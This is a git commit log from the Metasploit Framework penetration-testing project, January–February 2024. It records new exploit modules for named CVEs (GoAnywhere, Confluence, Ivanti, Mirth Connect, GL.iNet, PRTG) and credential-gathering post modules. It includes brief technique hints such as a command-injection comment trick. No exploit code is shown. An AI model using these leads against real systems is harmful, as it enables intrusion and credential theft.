Metasploit 41b517d809 automatic module_metadata_base.json update 2024-02-02 04:40:21 -06:00
Christophe De La Fuente 1ff1302df7 Use exceptions instead of returning a boolean in do_login 2024-02-02 11:39:13 +01:00
adfoster-r7 372b792b8c Land #18761, Add alert to show user the new session options available in Metasploit 6.4 2024-02-02 10:25:32 +00:00
Simon Janusz 18ea7b39af Land #18779, Update PHP Github action for acceptance tests 2024-02-02 10:13:28 +00:00
Egor Kalinichev 02311bf94a Update Windows installation docs to mention requirement to install as Administrator 2024-02-02 10:57:01 +01:00
Metasploit 6132264dcd automatic module_metadata_base.json update 2024-02-01 22:02:34 -06:00
Jack Heysel be2d2d61ca Land #18762, Add exploit module for CVE-2024-0204
This pull request adds an exploit module for CVE-2024-0204
in Fortra GoAnywhere MFT. GoAnywhere MFT versions 6.x from
6.0.1, and 7.x before 7.4.1 are vulnerable.
2024-02-01 22:36:32 -05:00
Zach Goldman 35778e92b2 client consolidation
convert first module from remote to client

move client to rex

remove metasploit mixin
2024-02-01 17:23:55 -06:00
h00die 1c73cf938f cve-2024-21626 2024-02-01 15:28:04 -05:00
Jack Heysel 3c46f51924 Land #18753, Fix typo in alloc_and_write_wstring
The method str_to_uniz_a was being called but does not exist.
The actual method name is str_to_uni_z, this PR fixes that typo.
2024-02-01 15:09:16 -05:00
sfewer-r7 b259c5d6a7 store the credentials we create in the DB 2024-02-01 19:48:01 +00:00
sfewer-r7 612feac5f1 add in vendor advisory URL 2024-02-01 19:47:23 +00:00
Metasploit e21dcf34ed Bump version of framework to 6.3.55 2024-02-01 12:08:45 -06:00
adfoster-r7 d9defd40e4 Update PHP Github action for acceptance tests 2024-02-01 18:02:46 +00:00
Dean Welch 10dfe9c428 Remove prefix from alerts 2024-02-01 17:33:31 +00:00
Dean Welch 5193d30db7 Move message order 2024-02-01 17:17:58 +00:00
Christophe De La Fuente 81eba7a6e7 Use FileDropper mixin and fix typo 2024-02-01 17:23:05 +01:00
adfoster-r7 2a4d50c6e7 Fix source location tracking for ruby kernel patches 2024-02-01 15:38:30 +00:00
Jeffrey Martin 1c334ad670 address stack trace noticed in testing 2024-02-01 08:49:16 -06:00
Jeffrey Martin e5b5f12a4e add missing sasl mechanism constant
* support mechanism reported as NTLM or GSS-SPNEGO
* return ResultCodeAuthMethodNotSupported for unknown bindRequest auth
2024-02-01 08:44:55 -06:00
Christophe De La Fuente 5054b3bfd0 Add methods to get the version and the CSRF token 2024-02-01 12:31:01 +01:00
Stephen Fewer a867793870 Update modules/exploits/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2024-02-01 09:05:02 +00:00
Stephen Fewer 546de49bec Update modules/exploits/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2024-02-01 09:04:49 +00:00
Stephen Fewer 6e4294c013 Update modules/exploits/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2024-02-01 09:04:26 +00:00
Metasploit 15d22d2807 automatic module_metadata_base.json update 2024-01-30 18:40:48 -06:00
Jack Heysel 024b855231 Land #18628, Add Puppet post module
This PR adds a post gather module to get
Puppet configs and sensitive files.
2024-01-30 19:20:48 -05:00
Metasploit c8d2727023 automatic module_metadata_base.json update 2024-01-30 12:02:57 -06:00
Dean Welch 764a87fda8 nil check and fix mock 2024-01-30 17:51:40 +00:00
adfoster-r7 4d0ba2fa1d Land #18742, Memory search module improvements 2024-01-30 17:39:12 +00:00
Dean Welch 1abaef4945 Move new session information alerts behind a feature flag 2024-01-30 16:38:00 +00:00
Metasploit 056ed770b5 automatic module_metadata_base.json update 2024-01-30 10:05:09 -06:00
Jack Heysel 59df04be97 Land #18755, Add an exploit for Mirth Connect RCE
This PR add an exploit module for both CVE-2023-43208
and CVE-2023-37679 where the former is a patch bypass
for the later.
2024-01-30 10:33:47 -05:00
Christophe De La Fuente f10619d870 Add module and documentation 2024-01-30 12:52:02 +01:00
h00die 6702dd0195 review comments for puppet module 2024-01-29 19:21:25 -05:00
h00die 68f333cb7b review comments for puppet module 2024-01-29 19:18:54 -05:00
h00die 2efbf6e2f5 review comments 2024-01-29 17:21:06 -05:00
Spencer McIntyre 44916e67d5 Check if the SMB share exists before overwriting 2024-01-29 16:55:25 -05:00
Spencer McIntyre 3d476f4ef3 Add the missing #on_client_connect method 2024-01-29 16:44:32 -05:00
Spencer McIntyre b9cf7ba894 Fix an issue where info would raise an exception
Fix instances where the `info` command would raise an exception while
generating the payload to calculate its length.
2024-01-29 16:44:32 -05:00
Spencer McIntyre 1c36d89942 Fix a double deref issue with the HTTP service 2024-01-29 16:44:32 -05:00
Spencer McIntyre c9504f9c53 Update the payload specs 2024-01-29 16:44:32 -05:00
Spencer McIntyre 96316a94fe Initial SMB server for fetch payloads 2024-01-29 16:44:28 -05:00
Spencer McIntyre 577898d91b Check the response when exploiting 2024-01-29 14:38:49 -05:00
Spencer McIntyre b5906418c2 Update the HashCapture mixin
Use #srvport instead of the datastore and pull in upstream chanes for
the metasploit-credential gem to enable use within payloads.
2024-01-29 13:35:56 -05:00
Spencer McIntyre 33306fa4dd The SRVPORT is already registered
The SRVPORT datastore option is registered by the Remote::SMB::Server
mixin so including it here is redundant.
2024-01-29 13:35:54 -05:00
Spencer McIntyre a8c240f671 Refactor existing fetch work
* Build the HTTPS server on top of HTTP instead of the other way around
* Set the fetch service to nil after it has been cleaned up
* Don't capitalize the H in the word handler
* Check if the fetch_service is truthy before cleaning it up
* Remove the unused FetchServerName datastore option
* Fixup the description text
* Don't allow slashes in fetch file names
* Also add the #fetch_bindnetloc method

Fix a problem in fetch/tftp.rb
2024-01-29 13:34:56 -05:00
sfewer-r7 c70092a2c7 bugfix a copy pasta whereby a path seperator was not being added as expected 2024-01-29 17:52:37 +00:00
sfewer-r7 08a19959fe add an RCE exploit module for CVE-2024-0204 in Fortra GoAnywhere MFT 2024-01-29 17:17:45 +00:00
Spencer McIntyre b5de25a2b6 Fingerprint the target as Mirth Connect first 2024-01-29 12:11:38 -05:00
Dean Welch 9a2ec90c16 Add alert to show user the new session options available in Metasploit 6.4 2024-01-29 17:06:21 +00:00
dwelch-r7 e5f96bdbe1 Land #18760, Ensure DNS command config loading does not crash msfconsole 2024-01-29 14:53:15 +00:00
Spencer McIntyre 8a793dd1b0 Use the correct exploit and use sh instead of bash 2024-01-29 09:03:25 -05:00
adfoster-r7 7ce13101df Ensure DNS command config loading does not crash msfconsole 2024-01-29 13:23:18 +00:00
Spencer McIntyre 9e41825e51 Finish up the exploit
Tested on Linux (versions 4.1.1, 4.3.0, and 4.4.0) and Windows (version
4.4.0).
2024-01-26 17:20:54 -05:00
bwatters d05b85de50 Land #18680, Shared SMB Service
Merge branch 'land-18680' into upstream-master
2024-01-26 14:42:11 -06:00
Spencer McIntyre 97a3e0291e Bump ruby_smb to 3.3.2
This pulls in the changes from rapid7/ruby_smb#260 which adds the
 #remove_share method that is needed for cleanup.
2024-01-26 14:56:57 -05:00
Spencer McIntyre 530d58de49 Initial commit of NextGen Connect RCEs 2024-01-26 14:50:33 -05:00
upsidedwn 9391e11202 Fix typo in alloc_and_write_wstring calling non-existent method
`str_to_uniz_a` does not exist, updated to `str_to_uni_z`. Looking at cross-references, only two modules use this method to convert from ruby strings to null-terminated WCHARs. Updated the comments to clarify usage of this method and fixed the typo.
2024-01-27 00:01:03 +08:00
dwelch-r7 7a7c7eb177 Land #18750, Update payload to_handler command to support option overrides 2024-01-26 15:15:02 +00:00
adfoster-r7 94eeba3521 Update payload to_handler command to support option overrides 2024-01-26 12:37:36 +00:00
Metasploit 5ea35c9ffb Bump version of framework to 6.3.54 2024-01-26 04:36:49 -06:00
dwelch-r7 3cbbfe65f1 Land #18744, Fix flakey opt address local spec 2024-01-26 10:33:47 +00:00
adfoster-r7 2f97f86f49 Land #18746, ensure the generate command does not update the module database 2024-01-25 19:40:28 +00:00
Metasploit 251305d26b automatic module_metadata_base.json update 2024-01-25 13:33:17 -06:00
Jack Heysel fe84c0dff7 Land #18734, Add exploit for CVE-2023-22527
This adds an exploit for CVE-2023-22527 which is an
unauthenticated RCE in Atlassian Confluence. The
vulnerability is due to an SSTI flaw that allows an
OGNL expression to be evaluated.
2024-01-25 14:15:10 -05:00
Spencer McIntyre 96241b3a6e Keep version detection consistent 2024-01-25 13:50:34 -05:00
Spencer McIntyre 6ad359ee96 Don't change the main modules datastore options 2024-01-25 13:47:09 -05:00
Jeffrey Martin 4cb18483d6 cleanup LDAP NTLM type2 response 2024-01-25 10:56:25 -06:00
Metasploit 7a385431cb automatic module_metadata_base.json update 2024-01-25 09:18:19 -06:00
Christophe De La Fuente 44bf6867c6 Land #18737, Update metasploit-payloads gem to 2.0.165 2024-01-25 15:49:25 +01:00
Spencer McIntyre 49532613e5 Implement some feedback from the review 2024-01-25 09:20:17 -05:00
adfoster-r7 5c25bfd908 Fix flakey opt address local spec 2024-01-25 12:33:21 +00:00
sjanusz-r7 502511a71a memory_search module improvements 2024-01-24 19:55:53 +00:00
sjanusz-r7 f496a71cf0 Make mimipenguin work with updated memory search API 2024-01-24 19:53:57 +00:00
sjanusz-r7 aac74778b9 Move memory search method to Meterpreter stdapi 2024-01-24 19:53:30 +00:00
Spencer McIntyre deabf9b1d8 Add module docs 2024-01-24 12:49:27 -05:00
adfoster-r7 995c806d81 Land #18740, Remove invalid modification time test 2024-01-24 13:27:29 +00:00
adfoster-r7 4784afae6a Land #18741, add ntpath tests 2024-01-24 12:48:47 +00:00
Dean Welch 56f6020ff5 Assert that the caches modification time is in fact a time 2024-01-24 12:10:22 +00:00
Dean Welch 3a076d6cdb Verify ntpath works as expected 2024-01-24 12:01:09 +00:00
Dean Welch f2a1d16fbc Verify ntpath works as expected 2024-01-24 11:59:31 +00:00
Dean Welch 057facea90 Remove invalid modification time test 2024-01-24 11:43:04 +00:00
Metasploit 288d4b8c20 automatic module_metadata_base.json update 2024-01-24 05:09:51 -06:00
adfoster-r7 15d0d4f0df Land #18663, Add new PostgreSQL Session Type 2024-01-24 10:46:26 +00:00
Metasploit 4f04f91b71 automatic module_metadata_base.json update 2024-01-23 14:39:21 -06:00
Jack Heysel 4c525dad66 Land #18648, Add enhancement to Asan check method
Before this PR when running asan_suid_executable_priv_esc
if the user did not set the SUID_EXECUTABLE option the
module would fail with an undescriptive error message.
This PR removes the default value of an empty string from
SUID_EXECUTABLE so now if it's not set the user is informed.
2024-01-23 15:22:33 -05:00
Metasploit 7bff3042db automatic module_metadata_base.json update 2024-01-23 14:16:11 -06:00
Jack Heysel c278ef9b73 Land #18648, Add Module for GL.iNet products
This PR adds an exploit module for a number of
different GL.iNet network products. The module combines
an auth by-pass CVE-2023-50919 with an RCE CVE-2023-50445.
2024-01-23 14:57:29 -05:00
Jeffrey Martin d20ef7a08b add LDAP to capture plugin 2024-01-23 13:52:35 -06:00
Jack Heysel 08f6da7b33 Removed default empty string for SUID_EXECUTABLE 2024-01-23 14:21:58 -05:00
Jeffrey Martin bcefde29c3 correct metadata for Actions usage 2024-01-23 12:13:24 -06:00
jheysel-r7 13d2968fad Capitalize remaining references to Meterpreter 2024-01-23 13:11:03 -05:00
Metasploit 21b49be380 automatic module_metadata_base.json update 2024-01-23 11:17:05 -06:00
sjanusz-r7 73dbe2e89d Add PostgreSQL multi-line query transform tests 2024-01-23 17:03:16 +00:00
Jack Heysel 904e34434e Land #18626, SaltStack Minion Deployer
This PR adds an exploit module which allows for
a user who has compromised a host acting as a
SaltStack Master to deploy payloads to the Minions
attached to that Master.
2024-01-23 11:58:38 -05:00
Metasploit 15652bc29c automatic module_metadata_base.json update 2024-01-23 10:16:14 -06:00
adfoster-r7 8c5628826f Land #18735, update iis_webdav_scstoragepathfromurl module metadata 2024-01-23 15:56:01 +00:00
bwatters 583d39b038 Land #18720, Mark unix encoders as compatible with linux
Merge branch 'land-18720' into upstream-master
2024-01-23 09:45:42 -06:00
Spencer McIntyre dd3d1a9397 Update metasploit-payloads gem to 2.0.165
Includes changes from:
* rapid7/metasploit-payloads#694
2024-01-23 10:42:14 -05:00
Metasploit 2b938d12e2 automatic module_metadata_base.json update 2024-01-23 07:25:19 -06:00
adfoster-r7 a25b0ee5e0 Land #18713, Add generic memory search post/multi module 2024-01-23 12:57:24 +00:00
h00die-gr3y 8d7907edee Update based on @jheysel-r7 comments 2024-01-23 10:10:21 +00:00
Metasploit 11d1a5938e automatic module_metadata_base.json update 2024-01-23 03:57:08 -06:00
Simon Janusz 7411dc1b1b Land #17634, Add additional reliability and stability notes to modules 2024-01-23 09:42:15 +00:00
Metasploit 71fb0876f6 automatic module_metadata_base.json update 2024-01-22 21:17:56 -06:00
Jack Heysel 953382731e Land #18645, improve glibc tunables exploit
This PR adds a way to get the Build ID from ld.so by
using the perf command. Before this the module depended
on file and readelf being installed to get the Build ID.
2024-01-22 22:00:28 -05:00
aleksa 67e402e1be Added Notes 2024-01-22 19:12:21 -05:00
adfoster-r7 094d6ee36b Add additional reliability and stability notes to modules 2024-01-22 23:29:57 +00:00
aleksa e9e5a44522 Updated with side effects 2024-01-22 18:03:28 -05:00
aleksa 8e3fbcae26 notes added to storage path exploit. 2024-01-22 17:55:26 -05:00
Spencer McIntyre b8a0e33ce3 Initial exploit for CVE-2023-22527 2024-01-22 17:06:29 -05:00
Metasploit 6430b3f138 automatic module_metadata_base.json update 2024-01-22 11:56:29 -06:00
bwatters 46a0052286 Land #18568, added exploit for CVE-2023-32781 - PRTG authenticated RCE
Merge branch 'land-18568' into upstream-master
2024-01-22 11:35:38 -06:00
sjanusz-r7 2bd93ae72c Use a glob for memory_search PROCESS_NAMES_GLOB 2024-01-22 16:53:32 +00:00
sjanusz-r7 f8bdb02593 Validate memory_search PROCESS_IDS using regex 2024-01-22 16:53:00 +00:00
adfoster-r7 4921f6bbd1 Land #18712, Fix undefined method error in /api/v1/modules endpoint 2024-01-22 15:06:52 +00:00
sjanusz-r7 1fe448f2f4 Revert remote/postgres verbosity changes 2024-01-22 14:27:38 +00:00
sjanusz-r7 9de20d3c7f Add additional comments to PostgreSQL cmd_run_help 2024-01-22 14:02:10 +00:00
Spencer McIntyre d8bdc258fb Land #18729, Fix a typo in Metasploit-Guide-SMB.md 2024-01-22 08:59:46 -05:00
sjanusz-r7 7f0f65d867 Align PostgreSQL Shell REPL output with psql utility 2024-01-22 13:56:09 +00:00
Dean Welch 82e9c2703f Improve module ranking performance 2024-01-22 12:40:24 +00:00
sjanusz-r7 e58ef0fee4 Add Reline requirement comment 2024-01-22 10:48:13 +00:00
sjanusz-r7 a5dcf5a2f4 Fix PostgreSQL autoruns 2024-01-22 10:47:34 +00:00
Kevin Joensen dfa54d02b9 Update modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2024-01-22 10:10:14 +01:00
Poupapaa 8af928ec36 Update Metasploit-Guide-SMB.md
Fixed tiny typo:

Other terminology to be aware of:
- SMB - Ser**v**er Message Blocks
2024-01-22 09:01:04 +01:00
h00die-gr3y 919c846064 Final small updates (removed UDP and corrected typo in release date 2024-01-20 11:27:10 +00:00
Metasploit 37e82384e4 automatic module_metadata_base.json update 2024-01-19 16:26:22 -06:00
Spencer McIntyre 06dcc82ced Land #18630, Add CVE-2023-50917: MajorDoMo RCE
Add CVE-2023-50917: MajorDoMo Command Injection Module
2024-01-19 17:10:40 -05:00
Metasploit 9db6ac7e3c automatic module_metadata_base.json update 2024-01-19 16:03:20 -06:00
bwatters fadb0f45dd Land #18708, Ivanti Connect Secure RCE exploit module (CVE-2023-46805 and CVE-2024-21887)
Merge branch 'land-18708' into upstream-master
2024-01-19 15:47:43 -06:00
Spencer McIntyre b31abcc9b2 Mark unix encoders as compatible with linux
Fixes #18572
2024-01-19 13:40:43 -05:00
Dean Welch 763a97d40a Add test to ensure module ranking is consistent 2024-01-19 18:11:31 +00:00
Dean Welch 334a469d2c rank modules consistently 2024-01-19 17:50:31 +00:00
adfoster-r7 f56c9fc9ac Land #18662, Fix dns resolution skipping over nameservers with valid responses 2024-01-19 16:44:16 +00:00
Dean Welch 391bc4e69e shuffle platform parsing and code quality 2024-01-19 14:30:34 +00:00
Metasploit eb570f883a automatic module_metadata_base.json update 2024-01-19 06:27:27 -06:00
ekalinichev-r7 847a72c417 Land #18638, add exploit for CVE-2022-42889 Apache Commons Text RCE 2024-01-19 13:02:53 +01:00
sjanusz-r7 b1fb58749b Use PostgreSQL session type for postgres_schemadump 2024-01-19 10:29:44 +00:00
sjanusz-r7 fbdb025542 Notify user on failed Postgres connection 2024-01-19 10:29:44 +00:00
sjanusz-r7 a4305f0ca0 Allow PostgreSQL lib to use session client 2024-01-19 10:29:44 +00:00
sjanusz-r7 5d7251ce44 Add PostgreSQL session type tests 2024-01-19 10:29:44 +00:00
sjanusz-r7 23a9938283 Add PostgreSQL session type 2024-01-19 10:29:37 +00:00
Metasploit d60e38220e Bump version of framework to 6.3.53 2024-01-18 12:08:11 -06:00
sfewer-r7 de6ed9e1d6 use get_json_document instead of JSON.parse 2024-01-18 15:35:43 +00:00
sjanusz-r7 6ca4c113ee Get memory match length from buffer TLV length for Mettle 2024-01-18 11:08:38 +00:00
sjanusz-r7 337400b9b8 Remove AARCH64 reference 2024-01-18 11:08:38 +00:00
sjanusz-r7 1e7b74a0e5 Correctly use process glob when searching for processes 2024-01-18 11:08:34 +00:00
sfewer-r7 4ff399844f By replacing the trailing ';' with a '#' we comment out the remaining portion of the command string (Thank you @jvoisin). We must also include a space character for this to work as expected, doing so also removes the need to bootstrap the Linux payloads with a separate file. 2024-01-18 10:04:38 +00:00
Stephen Fewer c74fd86961 Update modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2023_46805.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2024-01-18 09:18:46 +00:00
Stephen Fewer 3bb1d2bc02 Update modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2023_46805.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2024-01-18 09:18:35 +00:00
Stephen Fewer 5ba4aba912 Update documentation/modules/exploit/linux/http/ivanti_connect_secure_rce_cve_2023_46805.md
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2024-01-18 09:18:28 +00:00
Metasploit 39b094313f automatic module_metadata_base.json update 2024-01-17 12:01:09 -06:00
Christophe De La Fuente b8aa55c322 Land #18633, WordPress Backup Migration Plugin PHP Filter Chain RCE (CVE-2023-6553) 2024-01-17 18:42:52 +01:00
sjanusz-r7 6d14a244a4 Add generic memory search module documentation 2024-01-17 15:55:26 +00:00
sjanusz-r7 977a9f3cd4 Add generic memory search module for supported Meterpreter sessions 2024-01-17 15:55:23 +00:00
Metasploit 40c8c63529 automatic module_metadata_base.json update 2024-01-17 09:04:48 -06:00
sjanusz-r7 e238df4ad7 Bump metasploit-payloads to 2.0.164 2024-01-17 15:02:59 +00:00
Christophe De La Fuente a8d46b3e7a Land #18627, Ansible: post gather module, payload deployer, and file reader 2024-01-17 15:26:25 +01:00
adfoster-r7 f5691e747f Land #18710, Fix uninitialized exploit driver exception 2024-01-17 14:17:58 +00:00
Christophe De La Fuente 6dec82ec24 Remove exec.nil? statement 2024-01-17 15:06:15 +01:00
Egor Kalinichev 9ec36f3d4d Fix undefined method error in /api/v1/modules endpoint 2024-01-17 13:17:38 +01:00
sfewer-r7 2919b36f2b add in docs 2024-01-17 10:25:04 +00:00
sfewer-r7 70ef0dcb0d improve the check logic to fall through when the json doesnt have the key we expect it to have 2024-01-17 10:02:59 +00:00
sfewer-r7 518c1e5d3c mention Pull Connect as well as the CVEs in the description 2024-01-17 10:02:11 +00:00
sfewer-r7 ad7e348eaa remove a copy pasta link 2024-01-17 09:16:18 +00:00
h00die d7cf9155a6 ofbiz working for 18.12.09 2024-01-16 20:06:11 -05:00
adfoster-r7 1ac2b3b8e1 Fix unitialized exploit driver exception 2024-01-16 22:35:15 +00:00
Jack Heysel 607a2789d0 Revert "Changed payload double quote to single"
This reverts commit f1586f08c3.
2024-01-16 14:49:22 -05:00
Metasploit 54788067ff automatic module_metadata_base.json update 2024-01-16 13:46:58 -06:00
adfoster-r7 1ba704b1cb Land #18398, Update deprecated report_auth_info in various modules 2024-01-16 19:30:56 +00:00
Dean Welch 46273d5f08 Add test run with defer module loads feature enabled 2024-01-16 17:40:55 +00:00
sfewer-r7 f9419c4839 seperate commands into an array instead of one bog long string 2024-01-16 17:19:13 +00:00
sfewer-r7 ea1dafa353 this is a slightly nicer way to write this 2024-01-16 17:08:09 +00:00
Dean Welch 236f88541f Parse platform list within module metadata object 2024-01-16 14:53:05 +00:00
sfewer-r7 4060e069ed first commit of the ICS exploit 2024-01-16 14:32:48 +00:00
Dean Welch 1c4258fd1e Fix encoded payloads test 2024-01-16 13:31:51 +00:00
h00die 56a9beb39d ansible review 2024-01-15 17:18:49 -05:00
Jack Heysel f1586f08c3 Changed payload double quote to single 2024-01-15 12:09:41 -05:00
Dean Welch 2cf045d3c4 Leverage the module metadata cache in the module_sets 2024-01-15 14:56:46 +00:00
Metasploit 57f97ac79e automatic module_metadata_base.json update 2024-01-15 06:31:17 -06:00
adfoster-r7 0075212fa9 Land #18596, Update smb modules to work with smb sessions 2024-01-15 12:07:07 +00:00
adfoster-r7 677c355f76 Land #18702, updates the documention for public and private fields in credential.rb 2024-01-15 11:03:55 +00:00
shellspawn 18b2eec1db fixed a swap typo in credential documentation 2024-01-15 04:10:49 -06:00
h00die-gr3y e7f2abbf9e Small typo update 2024-01-14 19:26:10 +00:00
Gaurav Jain 225ef6847f Add output from test run on windows target 2024-01-15 00:26:47 +05:30
Jack Heysel 5e25a99700 Responded to comments 2024-01-12 13:08:32 -05:00
cgranleese-r7 63e1b49da1 Land #18682, Add tests for Msf::Exploit::Local exploit_type and sysinfo methods 2024-01-12 15:04:09 +00:00
cgranleese-r7 c0e02bdeeb Land #18655, Use first module with enabled hierarchical search 2024-01-12 14:38:28 +00:00
Jack Heysel 6d8666e35b Fixed spacing and removed unused method 2024-01-11 13:13:57 -05:00
Metasploit f8bd7dfd83 Bump version of framework to 6.3.52 2024-01-11 12:04:36 -06:00
Jack Heysel cdc66dd91f Last minute fix 2024-01-11 12:56:01 -05:00
Jack Heysel e44b57249d Merge branch 'wp-backup-migration-php-filter' of github.com:jheysel-r7/metasploit-framework into wp-backup-migration-php-filter 2024-01-11 12:30:42 -05:00
Jack Heysel 5c7061cc0c Remove OS dependant payload 2024-01-11 12:30:04 -05:00
Jeffrey Martin 5a14575a31 Adjustment for extra knobs to tweak during auth
* clarify the NTLM SASL challenge
* add default case for unsuppoted SASL types
* implement unknown method to support override
2024-01-11 10:30:58 -06:00
adfoster-r7 017dcd89a6 Land #18690, Fix using module from hierarchical search not setting target payload 2024-01-11 16:24:07 +00:00
Spencer McIntyre caf26fbe55 Fix up old references to HTTP code 2024-01-11 10:56:40 -05:00
adfoster-r7 9d66ff650d Land #18691, Bump the minimum version of apktool 2024-01-11 00:55:48 +00:00
h00die b031311892 ansible review 2024-01-10 17:29:15 -05:00
h00die 381b840f11 salt review 2024-01-10 17:19:58 -05:00
h00die e711c9ea43 ansible review 2024-01-10 17:16:57 -05:00
h00die 2cfcb74303 saltstack review 2024-01-10 17:09:02 -05:00
h00die e9296d1add saltstack review 2024-01-10 17:04:03 -05:00
Spencer McIntyre c91660bc54 Bump the minimum version of apktool
Bump the minimum version of apktool to avoid CVE-2024-21633
2024-01-10 16:19:21 -05:00
adfoster-r7 6f5ec8a069 Land #18656, Force reload_all to load unloaded modules before refreshing modules 2024-01-10 20:24:54 +00:00
sjanusz-r7 7da13cedc4 Fix using module from hierarchical search not setting target payload correctly 2024-01-10 17:27:56 +00:00
Metasploit ffbaf3b141 automatic module_metadata_base.json update 2024-01-09 16:03:14 -06:00
bwatters 57c882cab5 Land #18604, Add Post Windows Gather to perform Mikrotik Winbox "Keep Password" credentials extraction
Merge branch 'land-18604' into upstream-master
2024-01-09 15:38:35 -06:00
Spencer McIntyre ad10cb84a9 Shorten the gss portion of the hardcore alias
Drop keys whose values are empty to shorten the string
2024-01-09 14:00:41 -05:00
jheysel-r7 43f4705e60 Apply suggestions from code review
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2024-01-09 12:37:59 -05:00
adfoster-r7 656e65f9b0 Add tests for Msf::Exploit::Local exploit_type and sysinfo 2024-01-09 12:25:48 +00:00
h00die 6de51a5047 non-working module 2024-01-08 19:49:47 -05:00
h00die 077cad34ab non-working module 2024-01-08 19:47:24 -05:00
siddolo dc6d84d823 Update modules/post/windows/gather/credentials/winbox_settings.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2024-01-09 00:43:10 +01:00
Spencer McIntyre 024bdaec6d Add a proper rex-based service for the SMB server 2024-01-08 16:54:22 -05:00
dwelch-r7 ad4b47f6ac Land #18667, Re-add the #sysinfo method 2024-01-08 15:14:29 +00:00
Metasploit 0d70f254bd automatic module_metadata_base.json update 2024-01-08 05:52:39 -06:00
adfoster-r7 234517e3eb Land #18672, spelling fixes for lib folder 2024-01-08 11:23:48 +00:00
adfoster-r7 6ffebfc822 Land #18679, Aux modules spelling 2024-01-08 11:22:58 +00:00
Metasploit c53bff7ee1 automatic module_metadata_base.json update 2024-01-08 05:07:40 -06:00
adfoster-r7 b4a043f511 Fix incorrect severity_code check in drda proto implementation 2024-01-08 10:57:43 +00:00
adfoster-r7 75c2de8c3d Revert spelling correction 2024-01-08 10:51:35 +00:00
adfoster-r7 85e3eb51a5 Land #18677, fix spelling in some modules 2024-01-08 10:46:45 +00:00
adfoster-r7 7da5ef87e7 Land #18676, fix spelling in spec folder 2024-01-08 10:45:23 +00:00
adfoster-r7 99c335a2b4 Land #18674, fix spelling in plugins folder 2024-01-08 10:44:33 +00:00
adfoster-r7 fd7b49981d Land #18673, fix spelling in scripts folder 2024-01-08 10:43:34 +00:00
adfoster-r7 aa0545618b Land #18675, fix spelling in tools folder 2024-01-08 10:42:19 +00:00
h00die 4cb904535e rubocop telegram/send_message 2024-01-07 15:04:17 -05:00
h00die 8beb6255cb fix spelling in aux modules 2024-01-07 15:02:53 -05:00
h00die 04c0dede5e fix spelling in some modules 2024-01-07 14:06:31 -05:00
Jeffrey Martin 6d298c379b remove unused advanced option 2024-01-07 13:02:04 -06:00
Jeffrey Martin a4e8714de6 Land #18376, NTLM support for the LDAP capture 2024-01-07 12:59:37 -06:00
h00die ec8ee2814a fix spelling in spec folder 2024-01-07 13:42:50 -05:00
h00die a7c547542f fix spelling in tools folder 2024-01-07 13:28:13 -05:00
h00die 89d6c8c8ef fix spelling in plugins folder 2024-01-07 13:24:11 -05:00
h00die de53f45e68 fix spelling in scripts folder 2024-01-07 13:20:40 -05:00
siddolo 469a325f9b Merge pull request #1 from bwatters-r7/update-18604
Quick change to add support for more sessions and to only read the fi…
2024-01-07 19:16:17 +01:00
h00die 6a851855a8 spelling fixes for lib folder 2024-01-06 15:54:49 -05:00
h00die-gr3y 85897a2596 update adding aarch64 architecture and some new targets 2024-01-06 17:26:38 +00:00
h00die 80e9f1b97d saltstack salt-master review 2024-01-06 06:38:59 -05:00
Nishant Desai a09cf6471a Merge pull request #11 from jmartin-tech/GSoC/LDAP-NTLM-adjustments
adjustments to NTLM LDAP support
2024-01-05 23:41:26 -05:00
bwatters a0bc08c6ec Quick change to add support for more sessions and to only read the file once 2024-01-05 17:33:54 -06:00
Spencer McIntyre b10e8d566b Initial Rex SMB service to allow sharing 2024-01-05 17:18:08 -05:00
Gaurav Jain 98667edf76 Add suggested changes 2024-01-05 22:31:51 +05:30
adfoster-r7 ee3b8b40b6 Land #18669, Print additional settings notice on non-empty datastore values 2024-01-05 17:00:28 +00:00
h00die-gr3y 94a84960a2 Improved check for v3.x routers to obtain exact version 2024-01-05 16:20:29 +00:00
sjanusz-r7 e0804cf0cb Print additional settings notice on non-empty datastore values 2024-01-05 13:59:31 +00:00
h00die-gr3y eb902457f2 small update to module for mt6000 vuln test 2024-01-05 13:19:54 +00:00
Dean Welch 4bdff53358 Refactor dns send_tcp 2024-01-05 10:38:31 +00:00
Metasploit 08beaddf0a automatic module_metadata_base.json update 2024-01-04 17:49:52 -06:00
bwatters cdfa421d15 Land #18515, Add java target for ManageEngine ServiceDesk Plus CVE-2022-47966
Merge branch 'land-18515' into upstream-master
2024-01-04 17:25:08 -06:00
adfoster-r7 50579fb1de Land #18666, Fix the save command when dns_feature is disabled 2024-01-04 22:49:05 +00:00
Spencer McIntyre 03f3bf0f2f Readd the #sysinfo method 2024-01-04 17:21:29 -05:00
Spencer McIntyre 8d4142a8c7 Fix the save command when dns_feature is disabled 2024-01-04 17:08:29 -05:00
Metasploit d7f2ed4e4a Bump version of framework to 6.3.51 2024-01-04 12:58:16 -06:00
Metasploit 9dca2e3820 automatic module_metadata_base.json update 2024-01-04 11:37:35 -06:00
Spencer McIntyre 2028fbd226 Land #18404, Working Module for CVE-2023-38146 2024-01-04 12:20:26 -05:00
bwatters f341f72c72 add AKA 2024-01-04 11:11:23 -06:00
bwatters e4af94bb29 Pull in Spencer's file checks
Merge branch 'update-38146' into exploit/cve-2023-38146
2024-01-04 08:28:29 -06:00
Dean Welch f92b2662c4 Fix dns resolution skipping over nameservers with valid responses 2024-01-04 14:10:45 +00:00
h00die-gr3y 9bb7e0e379 small update to documentation 2024-01-04 14:04:34 +00:00
h00die-gr3y adf455e8cb Third release of module and documentation 2024-01-04 14:01:37 +00:00
adfoster-r7 1c5379918c Land #18660, ensure custom dns resolver support is fully behind a feature flag 2024-01-04 13:18:48 +00:00
